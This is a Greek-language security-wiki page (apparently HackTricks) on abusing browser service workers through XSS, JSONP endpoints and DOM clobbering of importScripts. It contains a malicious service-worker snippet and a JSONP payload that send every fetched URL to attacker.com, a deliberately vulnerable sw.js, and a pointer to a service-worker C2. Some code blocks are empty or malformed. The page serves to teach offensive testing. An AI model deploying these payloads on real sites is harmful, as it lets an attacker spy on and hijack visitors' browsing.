# Κατάχρηση Υπηρεσιών Εργασίας
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Ένας **υπηρεσία εργασία** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο**. Λεπτομερείς πληροφορίες σχετικά με τις υπηρεσίες εργασίας μπορείτε να βρείτε [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τις υπηρεσίες εργασίας μέσα σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο πάνω στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
### Έλεγχος Υπαρχουσών Υπηρεσιών Εργασίας
Οι υπάρχουσες υπηρεσίες εργασίας μπορούν να ελεγχθούν στην ενότητα **Υπηρεσίες Εργασίας** της καρτέλας **Εφαρμογή** στα **Εργαλεία Ανάπτυξης**. Μια άλλη μέθοδος είναι η επίσκεψη στο [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή.
### Ειδοποιήσεις Push
Οι **άδειες ειδοποιήσεων push** επηρεάζουν άμεσα την ικανότητα ενός **υπηρεσία εργασία** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα της υπηρεσίας εργασίας να θέσει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων.
## Επίθεση Δημιουργίας Υπηρεσίας Εργασίας
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:
- Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και μια **XSS για να φορτώσετε την υπηρεσία εργασία** του ανεβασμένου αρχείου JS
- Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS)** και μια **XSS** για να **φορτώσετε το JSONP με ένα payload** που θα **φορτώσει μια κακόβουλη υπηρεσία εργασία**.
Στο παρακάτω παράδειγμα, θα παρουσιάσω έναν κώδικα για να **καταχωρήσετε μια νέα υπηρεσία εργασία** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται** (αυτός είναι ο κώδικας που θα χρειαστεί να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης JSONP** απάντησης):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Και αυτός είναι ο κώδικας που θα **καταχωρήσει τον εργαζόμενο** (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια **XSS**). Σε αυτή την περίπτωση, θα σταλεί ένα **GET** αίτημα στον διακομιστή των **επιτιθέμενων** **γνωστοποιώντας** αν η **καταχώρηση** του εργαζομένου υπηρεσίας ήταν επιτυχής ή όχι:
```javascript
```
Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο `var sw`. Για παράδειγμα:
```javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
```
Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) το οποίο θα είναι πολύ χρήσιμο για την εκμετάλλευση αυτών των ευπαθειών.
Η **κατεύθυνση cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συνιστάται επίσης να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση.
## Εκμετάλλευση του `importScripts` σε ένα SW μέσω DOM Clobbering
Η συνάρτηση **`importScripts`** που καλείται από έναν Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια **παράμετρο που θα μπορούσε να** τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να **εισάγει ένα JS script από τον τομέα του** και να αποκτήσει XSS.
**Αυτό παρακάμπτει ακόμη και τις προστασίες CSP.**
**Παράδειγμα ευάλωτου κώδικα:**
- **index.html**
```html
```
- **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
```
### Με DOM Clobbering
Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:
{{#ref}}
dom-clobbering.md
{{#endref}}
Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει **`importScripts`** είναι **μέσα σε ένα HTML στοιχείο**, είναι **δυνατό να το τροποποιήσετε μέσω του DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα σενάριο από το δικό σας domain**.
Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.
## Αναφορές
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}